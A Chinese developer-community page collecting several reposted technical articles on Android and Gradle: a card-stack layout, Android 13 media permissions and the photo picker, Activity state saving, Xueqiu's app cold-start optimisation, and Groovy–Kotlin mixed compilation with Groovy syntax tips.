注册
环信即时通讯云

环信即时通讯云

单聊、群聊、聊天室...
环信开发文档

环信开发文档

Demo体验

Demo体验

场景Demo,开箱即用
RTE开发者社区

RTE开发者社区

汇聚音视频领域技术干货,分享行业资讯
技术讨论区

技术讨论区

技术交流、答疑
资源下载

资源下载

收集了海量宝藏开发资源
iOS Library

iOS Library

不需要辛辛苦苦的去找轮子, 这里都有
Android Library

Android Library

不需要辛辛苦苦的去找轮子, 这里都有

Android 实现卡片堆叠,钱包管理效果(带动画)

先上效果图源码 github.com/woshiwzy/Ca…实现原理:1.继承LinearLayout 2.重写onLayout,onMeasure 方法 3.利用ValueAnimator 实施动画 4.在动画回调中requestLayout 实现动画效果...
继续阅读 »


先上效果图


源码 github.com/woshiwzy/Ca…

实现原理:

1.继承LinearLayout
2.重写onLayout,onMeasure 方法
3.利用ValueAnimator 实施动画
4.在动画回调中requestLayout 实现动画效果

思路:

1.用Bounds 对象记录每一个CardView 对象的初始位置,当前位置,运动目标位置

2.点击时计算出对应的view以及可能会产生关联运动的View的运动的目标位置,从当前位置运动到目标位置,然后以这2个位置作为动画参数实施ValueAnimator动画,在动画回调中触发onLayout,达到动画的效果。

重写adView 方法,确保新添加的在这里确保所有的子view 都有一个初始化的bounds位置

   @Override
   public void addView(View child, ViewGroup.LayoutParams params) {
       super.addView(child, params);
       Bounds bounds = getBunds(getChildCount());
  }

确保每个子View的测量属性宽度填满父组件

    boolean mesured = false;
   @Override
   protected void onMeasure(int widthMeasureSpec, int heightMeasureSpec) {
       super.onMeasure(widthMeasureSpec, heightMeasureSpec);
       if (mesured == true) {//只需要测量一次
           return;
      }
       mesured = true;
       int childCount = getChildCount();
       int rootWidth = getWidth();
       int rootHeight = getHeight();
       if (childCount > 0) {
           View child0 = getChildAt(0);
           int modeWidth = MeasureSpec.getMode(child0.getMeasuredWidth());
           int sizeWidth = MeasureSpec.getSize(child0.getMeasuredWidth());

           int modeHeight = MeasureSpec.getMode(child0.getMeasuredHeight());
           int sizeHeight = MeasureSpec.getSize(child0.getMeasuredHeight());

           if (childCount > 0) {
               for (int i = 0; i < childCount; i++) {
                   View childView = getChildAt(i);
                   childView.measure(MeasureSpec.makeMeasureSpec(sizeWidth, MeasureSpec.EXACTLY), MeasureSpec.makeMeasureSpec(sizeHeight, MeasureSpec.EXACTLY));
                   int top = (int) (i * (sizeHeight * carEvPercnet));
                   getBunds(i).setTop(top);
                   getBunds(i).setCurrentTop(top);
                   getBunds(i).setLastCurrentTop(top);
                   getBunds(i).setHeight(sizeHeight);
              }

          }

      }
  }

重写onLayout 方法是关键,是动画触发的主要目的,这里layout参数并不是写死的,而是计算出来的(通过ValueAnimator 计算出来的)

@Override
   protected void onLayout(boolean changed, int sl, int st, int sr, int sb) {
       int childCount = getChildCount();
       if (childCount > 0) {
           for (int i = 0; i < childCount; i++) {
               View view = getChildAt(i);
               int mWidth = view.getMeasuredWidth();
               int mw = MeasureSpec.getSize(mWidth);
               int l = 0, r = l + mw;
               view.layout(l, getBunds(i).getCurrentTop(), r, getBunds(i).getCurrentTop() + getBunds(i).getHeight());
          }
      }
  }

源码

github: github.com/woshiwzy/Ca…

作者:Sand
来源:juejin.cn/post/7073371960150851615

收起阅读 »

Android 13这些权限废弃,你的应用受影响了吗?

无论是更改个人头像、分享照片、还是在电子邮件中添加附件,选择和分享媒体文件是用户最常见的操作之一。在听取了 Android 用户反馈之后,我们对应用程序访问媒体文件的方式做了一些改变。Android 13 已被废弃的权限许多用户告诉我们,文件和媒体权限让他们很...
继续阅读 »

无论是更改个人头像、分享照片、还是在电子邮件中添加附件,选择和分享媒体文件是用户最常见的操作之一。在听取了 Android 用户反馈之后,我们对应用程序访问媒体文件的方式做了一些改变。

Android 13 已被废弃的权限

许多用户告诉我们,文件和媒体权限让他们很困扰,因为他们不知道应用程序想要访问哪些文件。

在 Android 13 上废弃了 READ_EXTERNAL_STORAGEWRITE_EXTERNAL_STORAGE 权限,用更好的文件访问方式代替这些废弃的 API。

从 Android 10 开始向共享存储中添加文件不需要任何权限。因此,如果你的 App 只在共享存储中添加文件,你可以停止在 Android 10+ 上申请任何权限。

在之前的系统版本中 App 需要申请 READ_EXTERNAL_STORAGE 权限访问设备的文件和媒体,然后选择自己的媒体选择器,这为开发者增加了开发和维护成本,另外 App 依赖于通过 ACTION_GET_CONTENT 或者 ACTION_OPEN_CONTENT 的系统文件选择器,但是我们从开发者那里了解到,它感觉没有很好地集成到他们的 App 中。


图片选择器

在 Android 13 中,我们引入了一个新的媒体工具 Android 照片选择器。该工具为用户提供了一种选择媒体文件的方法,而不需要授予对其整个媒体库的访问权限。

它提供了一个简洁界面,展示照片和视频,按照日期排序。另外在 "Albums" 页面,用户可以按照屏幕截图或下载等等分类浏览,通过指定一些用户是否仅看到照片或视频,也可以设置选择最大文件数量,也可以根据自己的需求定制照片选择器。简而言之,这个照片选择器是为私人设计的,具有干净和简洁的 UI 易于实现。


我们还通过谷歌 Play 系统更新 (2022 年 5 月 1 日发布),将照片选择器反向移植到 Android 11 和 12 上,以将其带给更多的 Android 用户。

开发一个照片选择器是一个复杂的项目,新的照片选择器不需要团队进行任何维护。我们已经在 ActivityX 1.6.0 版本中为它创建了一个 ActivityResultContract。如果照片选择器在你的系统上可用,将会优先使用照片选择器。

// Registering Photo Picker activity launcher with a max limit of 5 items
val pickMultipleVisualMedia = registerForActivityResult(PickMultipleVisualMedia(5)) { uris ->
   // TODO: process URIs
}
// Launching the photo picker (photos & video included)
pickMultipleVisualMedia.launch(PickVisualMediaRequest(PickVisualMedia.ImageAndVideo))
复制代码

如果希望添加类型进行筛选,可以采用这种方式。

// Launching the photo picker (photos only)
pickMultipleVisualMedia.launch(PickVisualMediaRequest(PickVisualMedia.ImageOnly))
// Launching the photo picker (video only)
pickMultipleVisualMedia.launch(PickVisualMediaRequest(PickVisualMedia.VideoOnly))
// Launching the photo picker (GIF only)
pickMultipleVisualMedia.launch(PickVisualMediaRequest(PickVisualMedia.SingleMimeType("image/gif")))
复制代码

可以调用 isPhotoPickerAvailable 方法来验证在当前设备上照片选择器是否可用。

ACTION_GET_CONTENT 将会发生改变

正如你所见,使用新的照片选择器只需要几行代码。虽然我们希望所有的 Apps 都使用它,但在 App 中迁移可能需要一些时间。

这就是为什么我们使用 ACTION_GET_CONTENT 将系统文件选择器转换为照片选择器,而不需要进行任何代码更改,从而将新的照片选择器引入到现有的 App 中。


针对特定场景的新权限

虽然我们强烈建议您使用新的照片选择器,而不是访问所有媒体文件,但是您的 App 可能有一个场景,需要访问所有媒体文件(例如图库照片备份)。对于这些特定的场景,我们将引入新的权限,以提供对特定类型的媒体文件的访问,包括图像、视频或音频。您可以在文档中阅读更多关于它们的内容。

如果用户之前授予你的应用程序 READ_EXTERNAL_STORAGE 权限,系统会自动授予你的 App 访问权限。否则,当你的 App 请求任何新的权限时,系统会显示一个面向用户的对话框。

所以您必须始终检查是否仍然授予了权限,而不是存储它们的授予状态。


下面的决策树可以帮助您更好的浏览这些更改。


我们承诺在保护用户隐私的同时,继续改进照片选择器和整体存储开发者体验,以创建一个安全透明的 Android 生态系统。

新的照片选择器被反向移植到所有 Android 11 和 12 设备,不包括 Android Go 和非 gms 设备。


原文: medium.com/androiddeve…
译者:程序员 DHL
来源:
juejin.cn/post/7161230716838084616



收起阅读 »

安卓之如何优雅的处理Activity回收突发事件

情景与原因前面的文章说过,我的一个业务要从页面A进入页面B,也就意味着我的应用出现了在ActivityA的基础上启动了ActivityB的情景,这个时候ActivityA就进入了停止状态,但这个时候如果出现系统内存不足的情况,就会把ActivityA回收掉,此...
继续阅读 »

情景与原因

前面的文章说过,我的一个业务要从页面A进入页面B,也就意味着我的应用出现了在ActivityA的基础上启动了ActivityB的情景,这个时候ActivityA就进入了停止状态,但这个时候如果出现系统内存不足的情况,就会把ActivityA回收掉,此时用户按下Back键返回A,仍然会正常显示A,但此时的A是执行onCreate()方法加载的,而不是执行onRestart()方法,也就是说我们的ActivityA页面是被重新创建出来的。

那有什么区别呢,这就是我们平时网上填表之类的最讨厌的情景会浮现了,比如你好不容易把信息填好,点击下一步,然后发现想修改上个页面信息,哎,这时候你会发现由于系统内存不足回收掉了A,于是你辛辛苦苦填好的信息都没了,这太痛了。这一情景的出现就说明回收了A再重新创建会导致我们在A当中存的一些临时数据与状态都可能被丢失。

这就是我们今天要解决的问题。

解决方法

虽然出现这个问题是是否影响用户体验的,但解决方法是非常简单的,因为我们的Activity中还提供了一个onSaveInstanceState()回调方法,它就可以保证在Activity被回收之前一定被调用,而我们就可以利用这一特性去解决上述问题。

方法介绍

onSaveInstanceState()方法中会携带一个Bundle类型的参数,而Bundle提供了一系列方法用于保存我们想要的数据,其中如putString()就是用于保存字符串的,而putInt()方法显而易见也是保存整型数据的,而每个保存方法都需要传入两个参数,其中第一个参数我们称之为键,是用于在Bundle中取值的特定标记,第二个参数是我们要保存的内容,属于键值对类型,学过数据库的一般都知道。

写法

如下,我们可以这么去写:

override fun onSaveInstanceState(outState: Bundle) {
   super.onSaveInstanceState(outState)
   val tempData = "your temp data"
   outState.putString("data_key", tempData)
}
override fun onCreate(savedInstanceState: Bundle?) {
  super.onCreate(savedInstanceState)
  setContentView(R.layout.activity_main)
  if (savedInstanceState != null) {
      val tempData = savedInstanceState.getString("data_key")
  }
  ...
}

在onSaveInstanceState()中保存你想要的数据,在onCreate()中给取出来,这样就不用害怕再创建的时候数据丢失了,不过如果是横竖屏切换造成数据丢失还是依照前文ViewModel的写法更好。

结语

其实基础往往是最容易忽视的,我们之前光在那说高楼大厦如何建成,但地基并不牢靠,所以还是需要落实到基础上最好。

作者:ObliviateOnline
来源:juejin.cn/post/7158096746583687205

收起阅读 »

雪球 Android App 秒开实践

一、背景启动速度可以说是一个 APP 的门面,对用户体验至关重要。随着业务不断增加,需要初始化的任务也越来越多,如果放任不管,启动时长会逐步增加,为此雪球客户端针对应用启动时长做了大量优化工作。本文从应用启动基本原理出发,总结了雪球客户端启动优化的思路和遇到的...
继续阅读 »

一、背景

启动速度可以说是一个 APP 的门面,对用户体验至关重要。随着业务不断增加,需要初始化的任务也越来越多,如果放任不管,启动时长会逐步增加,为此雪球客户端针对应用启动时长做了大量优化工作。本文从应用启动基本原理出发,总结了雪球客户端启动优化的思路和遇到的问题。主要包括启动原理介绍、优化方案和线上验证等三方面内容。

二、启动原理

根据 Google 官方文档,应用启动分为以下三种类型:

  • 冷启动

  • 热启动

  • 温启动

冷启动

冷启动是指 APP 进程被杀死(系统回收、用户手动关闭等),启动 APP 需要系统重新创建应用进程,从用户点击应用桌面图标到第一个页面加载完成的全部过程。冷启动是启动类型中耗时最长的一种,也是启动优化最关键的优化点,下面我们来看一下冷启动的启动过程。


从上图可以看出 APP 冷启动可以分为以下三个过程:

  • 用户点击桌面 APP 图标,调用 Launcher.startActivity ,由 Binder 通知 system_server 进程,system_server 内部使用 ActivityManagerService 通知 zygote 创建应用子进程

  • 应用进程创建完成后,会加载 ActivityThread 并调用 ActivityThread.main 方法,用来实例化 ApplicationThread 、Lopper 和 Handler

  • ActivityThread 内部调用 attach 方法进行 Binder 通信回到 system_server 进程,执行 ActivityManagerService.attachApplication 完成 Application 的创建,同时启动第一个 Activity

我们可以换一种通俗易懂的描述:

想象一下把 Launcher 比做手机桌面,桌面里面很多 APP 可以理解成 Launcher 的孩子,zygote 就是一个进程,system_server 好比服务大管家,ActivityThread 好比每个 APP 进程自己的管家。

启动 APP 首先要通知服务大管家 (system_server),服务大管家 (system_server)收到通知后,会跟它的第一对接人 zygote 进程联系,请求 zygote 创建一个属于孩子的家,也就是 APP 自己的进程,进程创建完成后,接下来是属于孩子自己的工作,它开始使用自己的管家 ActivityThread 布置自己的家,可以简单把 Application 比做是大门,把 Activity 比作是卧室,AMS 是装修团队,ActivityThread 会不断和 AMS 交互,直到 Application 和 Activity 创建完毕,至此一个 APP 就启动完成了。

热启动

热启动是指应用程序从后台被唤起,此时应用进程仍然存在,应用启动无需创建子进程,但是可能会重新执行 Activity 的生命周期,在热启动中,系统的所有工作就是将您的 Activity 带到前台,只要应用的所有 Activity 仍驻留在内存中,应用就不必重复执行对象初始化、布局和绘制,例如用户按下 back 或者 home 键回到后台。

温启动

温启动包含了在冷启动期间发生的部分操作,同时它的开销要比热启动高,例如用户在退出应用后又重新启动应用,此时应用进程仍然存在,但应用必须通过调用 onCreate() 从头开始重新创建 Activity

冷启动是三种启动状态中最耗时的一种,启动优化也是在冷启动的基础上进行优化,热启动和温启动相对耗时较少,暂不考虑优化。

三、问题归因

工欲善其事必先利其器,要想优化启动时长,首先必须知道应用启动过程中发生了什么,以及耗时方法是哪些,下图列举了一些 APP 常用的性能检测工具:


adb shell

获取应用启动总时长 adb 命令:adb shell am start -W [packageName]/[packageName.xActivity]

详细使用可参考文档:developer.android.google.cn/studio/comm…


参数说明:

Activity:应用启动的第一个Activity

TotalTime:应用启动总时长,包括应用进程创建、Application 创建和第一个 Activity 创建并绘制完成到显示的所有过程,冷启动的情况下我们只需要关注 TotalTime 即可

Displayed

displayed 使用比较简单,我们只需要在 Logcat 中过滤关键字 displayed 即可看到应用启动的总时长,如下图所示,displayed 打印的时长跟 adb shell 几乎相同,也就是一次冷启动的总时长。


adb shell 和 displayed 都可以帮助我们快速获取应用启动时长,但是无法获取具体耗时方法的堆栈信息,应用启动的具体信息我们可以使用 Systrace 和 Traceview 来获取。

Systrace

Systrace 是 Android 平台自带的命令行工具,可记录短时间内的设备活动,并保存在压缩的文本文件中,该工具会生成一份报告,其中汇总了 Android 内核中的数据,例如 CPU 调度程序、磁盘活动和应用线程。

Systrace 工具默认在 Android SDK 里面,路径一般为 Android/sdk/platform-tools/systrace

使用 systrace 生成应用冷启动具体信息

  • 如果没有配置环境变量,先切到 systrace 目录下 cd ~/Library/Android/sdk/platform-tools/systrace

  • 执行 systrace.py -t 10 -o /Users/liuyakui/trace.html -a com.xueqiu.fund

或者直接用绝对路径执行 systrace

详细使用可参考文档:developer.android.google.cn/topic/perfo…

python ~/Library/Android/sdk/platform-tools/systrace/systrace.py -t 10 -o /Users/liuyakui/trace.html -a com.xueqiu.fund

systrace 报告如下图所示,这里仅摘取了启动优化所需要的主要信息:


  • 区域1代表 CPU 使用率,柱子越高,越密集代表 CPU 使用率越高

  • 区域2代表 CPU 编号,该设备是8核处理器,编号0-7,点击 CPU 编号区域,可以查看当前正在运行的任务

  • 区域3代表所有线程和方法具体耗时情况,可以帮助我们定位具体耗时方法

从上图可以看出在0-3秒内,CPU 平均利用率较低,特别是1-3秒这段时间,CPU 几乎处于闲置状态,提高 CPU 利用率,充分发挥 CPU 的性能,是我们主要的优化方向。

上述三部分区域所提供的信息,基本上可以帮助我们定位启动耗时问题,它提供了 CPU 使用情况以及每个线程工作情况,但它不能告诉我们具体的问题代码在哪里,我们要确定具体的耗时代码,可以使用 Traceview 工具。

Traceview

Traceview 能够以图形化的形式展示线程的工作状态,以及方法的调用堆栈和调用链,我们以 application onCreate 为例,统计 onCreate() 内部详细的方法调用,并生成 trace 报表。

详细使用可参考文档:developer.android.google.cn/studio/prof…

@Override
public void onCreate() {
   super.onCreate();
   Debug.startMethodTracing("app_trace");

   //初始化代码...

   //...

   Debug.stopMethodTracing();
}

应用启动完成后,会在 /sdcard/Android/data/com.xueqiu.fund/files 路径下生成一个 app_trace.trace 文件,直接用 AndroidStudio 打开即可,如下图所示:


trace 文件详细展示了每个线程的工作情况,以及每个线程内部具体的方法调用情况,下面简单介绍一下trace 报表中最重要的三块区域:

  • 区域1代表 CPU 使用情况,可以拖拽选择时间段

  • 区域2代表当前线程工作信息,截图所示为当前主线程在0-5s内所有的方法调用情况

  • 区域3代表当前线程内部的方法调用堆栈,以及方法耗时等信息,使用 Top Down 和 Bottom Up 可以对方法正反排序

trace 报表清晰的展示了每个线程对应的所有方法的调用链和耗时情况,很好的帮助我们定位启动过程中具体问题所在,为优化方案提供了重要的参考依据。

四、优化方案

经过上述分析,APP 启动问题主要集中在以下两个阶段:

  • Application 创建

  • 闪屏页绘制

因此下面主要是针对这两方面进行优化

Application 创建优化

从上述 Traceview 报表可以看出,影响 Application 创建的代码主要集中在 initThirdLibs 内部,我们来看一下 initThirdLibs 内部初始化代码执行流程。


initThirdLibs 内部包含了雪球客户端所有的初始化项,这些初始化任务不分主次和优先级都在主线程顺序执行,中间任意一个任务阻塞,都会影响 Application 的创建,而且随着业务不断迭代,初始化任务越来越多,Application 的创建时长也会继续累加。

因此梳理 initThirdLibs 内部任务的优先级,通过合理的方式统一调度,并对各个任务进行延迟初始化是优化 Application 创建的重要内容,延迟初始化主要实现的目标分为以下三点:

  • 提高 CPU 利用率,充分发挥 CPU 性能

  • 初始化任务 Task 处理,降低维护成本和提高任务调度的灵活性

  • 多线程处理,梳理各个 Task 的优先级,形成一个有向无环图

Task 任务流程图如下:


关于启动器实现核心逻辑为,自定义线程池,根据设备 CPU 情况动态计算线程数量,保证所有 Task 任务并发执行,并且相互独立,所有 Task 执行完毕后会最后执行 Final Task 用来做一些收尾的工作,或者有强依赖的任务,也可以放到 Final Task 中进行,这里推荐以下两种实现方式:

  • CountDownLatch

  • 自定义线程池

启动器伪代码如下:

//这里只是一段伪代码,帮助大家理解启动器的基本实现原理

TaskManager manager = new TaskManager();
ExecutorService service = createThreadPool();
final Task1 task1 = new Task1(1);
final Task2 task2 = new Task2(2);
final Task3 task3 = new Task3(3);
final Task4 task4 = new Task4(4);
for (int i = 0i < ni++) {
   Runnable runnable = new Runnable() {
       @Override
       public void run() {
           manager.get(i).start();
      }
  };
   service.execute(runnable);
}

Task 调度完成后,将不依赖主线程的初始化任务,移动到并发 Task 中进行延迟初始化,进行统一管理并且避免阻塞主线程,提高 CPU 利用率。

闪屏页绘制优化

目前闪屏页主要承载的是业务广告,通过优化广告加载的逻辑可以间接调整页面的布局结构。

布局结构

闪屏页会预加载广告数据存到本地,每次应用启动从本地读取广告数据,这里我们可以优化无广告页面展示的逻辑,目前闪屏页无广告的时候仍然会加载布局文件,并设置默认的页面停留时长,理论上如果页面无广告,闪屏页创建完成后可以直接进入首页,不用加载页面的布局文件从而减少页面绘制时间,调整后页面广告加载逻辑核心代码如下:

private void prepareSplashAd() {
   //读取广告数据
   String jsonString = PublicSetting.getInstance().getSplashAd();
   if (TextUtils.isEmpty(jsonString)) {
       //无广告,关闭页面,进入首页
       exitDelay();
       return;
  }

   //加载布局文件
   View parentView = inflateView();
   setContentView(parentView);
   //显示广告
   AD todayAd = ads.get(0);
   showSplashAd(todayAd.imgUrltodayAd.linkUrl);
}

优化结果

经过多个版本的线上数据采样,启动时长明显下降,以华为 Mate 30E Pro 为例,效果对比如下:

优化前


优化后


从上面对比中可以看到,在5年以内的旗舰机型上,启动时长从原来的 1.9s - 2.5s 降低到 0.75s - 1.2s ,整体降低60%左右,可以达到秒开的效果!CPU 活动转为密集型,充分发挥 CPU 的性能,提高了 CPU 的利用率。

五、总结

本文先介绍了应用启动的基本原理,以及如何通过各种检测工具定位影响启动速度的原因,最后重点阐述 Application 创建和闪屏页绘制两个阶段的优化方案。同时它也代表一组最佳实践,在后续的性能优化中,都是不错的选择。

其实启动优化的方案还有很多,但我们除了要关注启动优化本身,更需要制定长远的规划,设计适合自己的方案,为后续业务迭代做好铺垫,避免再次出现启动时长逐步增加的问题。

作者:雪球工程师团队
来源:juejin.cn/post/7081606242212413447

收起阅读 »

我与 Groovy 不共戴天

来到新公司后,小灵通开始接手了核心技术-快编插件,看到传说中的核心技术,小灵通傻眼了,啊这,groovy 写的插件,groovy 认真的嘛,2202 年了,插件咋还用 groovy 写呢,我新手写插件也换 kotlin 了,张嘴就是 这辈子都不可能写 groo...
继续阅读 »


来到新公司后,小灵通开始接手了核心技术-快编插件,看到传说中的核心技术,小灵通傻眼了,啊这,groovy 写的插件,groovy 认真的嘛,2202 年了,插件咋还用 groovy 写呢,我新手写插件也换 kotlin 了,张嘴就是 这辈子都不可能写 groovy,甭想了。 但是嘛,工作不寒碜,学学呗。

一开始和组里几个大佬聊下来,磨刀霍霍准备对历史代码动刀,全迁移到 kotlin 上爽一发,但发现。。。咦,代码好像看不懂诶,我不知道 kt 对应的写法是啥样的。文章结束,小灵通因此被辞退。

开个玩笑,我现在还是在岗状态。工作还是要继续的。既然能力有限我全部迁不过去,那我可以做到新需求用 kotlin 来写嘛,咦,这就有意思了。

Groovy 和 java 以及 kotlin 如何混编

怎么实现混编

我不会嘛,看看官方怎么写的。gradle 源码有这么段代码来阐释了是怎么优先 groovy 编译 而非 java 编译.

// tag::compile-task-classpath[]
tasks.named('compileGroovy') {
   // Groovy only needs the declared dependencies
   // (and not longer the output of compileJava)
   classpath = sourceSets.main.compileClasspath
}
tasks.named('compileJava') {
   // Java also depends on the result of Groovy compilation
   // (which automatically makes it depend of compileGroovy)
   classpath += files(sourceSets.main.groovy.classesDirectory)
}
// end::compile-task-classpath[]

噢,可以这么写啊,那我是不是抄下就可以了,把名字改改。我就可以写 kotlin 了,欧耶!

compileKotlin {
   classpath = sourceSets.main.compileClasspath
}
compileGroovy {
   classpath += files(sourceSets.main.kotlin.classesDirectory)
}

跑一发,没有意外的话,你会看到这个报错。


诶,为啥我照着抄就跑不起来呢?我怀疑是 kotlin classesDiretory 有问题,断点看一波 compileGroovy 这个 task 的 sourceSets.main.kotlin.classesDirectory 是个啥。大概长这样, 是个 DefaultDirectoryVar 类。


诶,这是个啥,一开始我也看不太懂,觉得这里的 value 是 undefined 怪怪的,也不确定,那我看看其他正常的 classesDirectory 是啥


其实到这里可以确定应该是 kotlin 的 classDirectory 在此时是不可用的状态,印证下自己猜想,尝试添加 catch 的断点,确实是这样

具体为啥此时还不可用,我没有更详细的深入了,有大佬知道的,可以不吝赐教下。

SO 搜了一波解答,看到一篇靠谱的回复 compile-groovy-and-kotlin.

compileGroovy.dependsOn compileKotlin
compileGroovy.classpath += files(compileKotlin.destinationDir)
复制代码

试了一下确实是可以的,但为啥这样可以了呢?以及最上面官方的代码是啥意思呢?还有一些奇奇怪怪的名词是啥,下面吹一下

关于 souceset

我们入门写 android 时,都看到 / 写过类似这样的代码

sourceSets {
   main.java.srcDirs = ['src/java']
}

我对他的理解是指定 main sourceset 下的 java 的源码目录。 SourceSets 是一个 Sourset 的容器用来创建一个个的 SourceSet, 比如 main, test. 而 main 下的 java, groovy, kotlin 目录是一个编译目录(SourceDirectorySet),编译实质是找到一个个的编译目录,然后将他们变成 .class 文件放在 build/classes/sourceDirectorySet 下面, 也就是 destinationDirectory。

像 main 对应的是 SourceSet 接口,其实现是 DefaultSourceSet。而 main 下面的 groovy, java, kotlin 是 SourceDirectorySet 接口,其实现是 DefaultSourceDirectorySet。

官方 gradle 对于 sourceset 的定义是:

  • the source files and where they’re located 定位源码的位置

  • the compilation classpath, including any required dependencies (via Gradle configurations) 编译时的 class path

  • where the compiled class files are placed 编译出的 class 放在哪

输入文件 + 编译时 classpath 经过 AbstractCompile Task 得到 输出的 class 目录


第二个 编译时的 classpath,在项目里也见过,sourceSetImplementation 声明 sourceSet 的依赖。第三个我很少见到,印象不深,SourceDirectorySet#destinationDirectory 用来指定 compile task 的输出目录。而 SourceDirectorySet#classesDirectory 和这个值是一致的。再重申一遍这里的 SourceDirectorySet 想成是 DSL 里写的 java, groovy,kt 就好了。

官方文档对于 classesDirectory 的描述是

The directory property that is bound to the task that produces the output via SourceDirectorySet.compiledBy(org.gradle.api.tasks.TaskProvider, java.util.function.Function). Use this as part of a classpath or input to another task to ensure that the output is created before it is used. Note: To define the path of the output folder use SourceDirectorySet.getDestinationDirectory()

大意是 classesDirectory 与这个 compile task 的输出是相关联的,具体是通过 SourceDirectorySet.compiledBy() 方法,这个字段由 destinationDirectory 字段决定。查看 DefaultSourceDirectorySet#compiledBy 方法

    public <T extends Task> void compiledBy(TaskProvider<T> taskProvider, Function<T, DirectoryProperty> mapping) {
       this.compileTaskProvider = taskProvider;
       taskProvider.configure(task -> {
           if (taskProvider == this.compileTaskProvider) {
               mapping.apply(task).set(destinationDirectory);
          }
      });
       classesDirectory.set(taskProvider.flatMap(mapping::apply));
  }

雀食语义上 classesDirectory == destinationDirectory。

现在我们可以去理解下 官方的 demo 了,官方的 demo 简单说就是优先执行 Compile Groovy task, 再去执行 Compile Java task.

tasks.named('compileGroovy') {
   classpath = sourceSets.main.compileClasspath // 1
}
tasks.named('compileJava') {
   classpath += files(sourceSets.main.groovy.classesDirectory) // 2
}

可能看不懂的地方是 1,2 注释处做了啥, 1 处我问了我们组大佬,这是重置了 compileGroovy task 的 classpath 使其不依赖 compile java classpath,在 GroovyPlugin 源码中有那么一句代码

        classpath.from((Callable<Object>) () -> sourceSet.getCompileClasspath().plus(target.files(sourceSet.getJava().getClassesDirectory())));

可以看到 GroovyPlugin 其实是依赖于 java 的 classpath 的。这里我们需要改变 groovy 和 java 的编译时序需要把这层依赖断开。

2呢,使 compileJava 依赖上 compileGroovy 的 output property,间接使 compileJava dependson compileGroovy 任务。

具体为啥 Kotlin 的不行,俺还没搞清楚,知道的大佬可以指教下。

而 SO 上的这个答复其实也是类似的,而且更直接

compileGroovy.dependsOn compileKotlin
compileGroovy.classpath += files(compileKotlin.destinationDir)

使 compileGroovy 依赖于 compileKotlin 任务,再让 compileGroovy 的 classPath 添加上 compileKotlin 的 output. 既然任务的 classPath 添加 另一个任务的 output 会自动依赖上另一个 task。那其实这么写也是可以的

compileGroovy.classpath += files(compileKotlin.destinationDir)

实验了下雀食是可以跑的. 那既然 Groovy 和 Java 都包含 main 的 classpath,是不是 compileKotlin 的 classpath 置为 main,那 compileGroovy 会自动依赖上 compileKotlin。试试呗

compileKotlin.classpath = sourceSets.main.compileClasspath

可以看到 kotlin 的执行顺序雀食跑到了最前面。

在项目实操中,我发现 Kotlin 跑在了 compile 的最前面,那其实 kotlin 的类里面是不能依赖 java 或者 groovy 的任何依赖的。这也符合预期,不然就会出现依赖成环,报 Circular dependsOn hierarchy found in the Kotlin source sets 错误。我个人观点这是一种对历史代码改造的折衷,在新需求上使用 kotlin 进行开发,一些功能相同的工具类能翻译成 kt 就翻译,不能就重写一套。

小结

  • 在这节讲了两种实现混编的方案。写法不同,本质都是使一个任务依赖另一个任务的 output

// 1
compileGroovy.classpath += files(compileKotlin.destinationDir)
// 2
compileKotlin.classpath = sourceSets.main.compileClasspath
  • 我对于 SourceSet 和 SourceDirectorySet 的理解

  • 项目中实践混编方案的现状

Groovy 有趣的语法糖

在写 Groovy 的过程中,我遇到一个头大的问题,代码看不懂,里面有一些奇奇怪怪没见过的语法糖,乍一看就懵了,你要不一起瞅瞅。

includes*.tasks

我司的仓库是大仓的结构,仓库和子仓之间是通过 Composite build 构建联系的。那么怎么使主仓的 task 触发 includeBuild 的仓库执行对应仓库呢?是通过这行代码实现的

tasks.register('publishDeps') {
dependsOn gradle.includedBuilds*.task(':publishIvyPublicationToIvyRepository')
}

这里的 includeBuilds*.task 后面的 *.task 是啥?includeBuilds 看源码发现是个 List。我不懂 groovy,但好歹我能看懂 kotlin, 我看看官方文档右边对应的 kt 写法是啥?

tasks.register("publishDeps") {
dependsOn(gradle.includedBuilds.map { it.task(":publishMavenPublicationToMavenRepository") })
}

咦嘿,原来是个 List 的 map 操作,骚里骚气的。翻了翻原来是个 groovy 的语法糖,写个代码试试看看他编译到 class 是啥样子

def list = ["1", "22", "333"]
def lengths = list*.size()
lengths.forEach{
println it
}

编译成 class

        Object list = ScriptBytecodeAdapter.createList(new Object[]{"1", "22", "333"});
Object lengths = ScriptBytecodeAdapter.invokeMethod0SpreadSafe(Groovy.class, list, (String)"size");
var1[0].call(lengths, new Groovy._closure1(this, this));

在 ScriptBytecodeAdapter.invokeMethod0SpreadSafe 实现内部其实还是新建了一个 List 再逐个对 List 中元素进行 map.

String.execute

这是执行一个 shell 指令,比如 "ls -al".execute(), 刚看到这个的时候认为这个东西类似 kotlin 的扩展函数,点进去看实现发现不一样

public static Process execute(final String self) throws IOException {
return Runtime.getRuntime().exec(self);
}

可以看到 receiver 是他的第一个参数,莫非这是通用的语法糖,我试试写了个

public static String deco(final String self) throws IOException {
return self + "deco"
}
// println "".deco()

运行下,哦吼,跑不了,报了 MissingMethodException。看样子是不通用的。翻了翻 groovy 文档,找到了这个文档

Static methods are used with the first parameter being the destination class, i.e. public static String reverse(String self) provides a reverse() method for String.

看样子这个语法糖是 groovy 内部定制的,我不清楚有没有支持开发定制的方式,知道的大佬可以评论区留言下。

Range 怎么写

groovy 也有类似 kotlin 的 Range 的概念,包含的 Range 是 .. , 不包含右边界(until)的是 ..<

Try with resources

我遇到过一个 OKHttp 连接泄露的问题,代码原型大概是这样

if (xxx) {
response.close()
} else {
// behavior
}

定位到是 Response 没有在 else 的分支上进行 close,当然可以简单在 else 分支上进行 close, 并在外层补上 try, catch 兜底,但在 Effective Java 一书提及针对资源关闭 try-with-resource 优于 try cactch。但我尝试像 java 一样写 try-with-resource,发现嗝屁了,直接报红,我去 SO 上搜了一波 groovy 的 try-with-resource. Groovy 是通过 withCloseable 扩展来实现,看这个方法的声明与 Process#execute 语法糖类似—public static def withCloseable(Closeable self, Closure action) . 最终改造后的代码是这样的

Response.withCloseable { reponse ->
if (xxx) {

} else {

}
}
<<

这个是 groovy 中的左移运算符也是可以重载的,而 kotlin 是不支持的。他运用比较多的场景。起初我印象中 Task 的 是覆写了这个运算符作为 doLast 简易写法,现在 gradle7.X 的版本上是没有了。其它常见的是文件写入操作, 列表添加元素。

def file = new File("xxx")
file << "text"
def list = []
list << "aaa"

Groovy 的一家之言

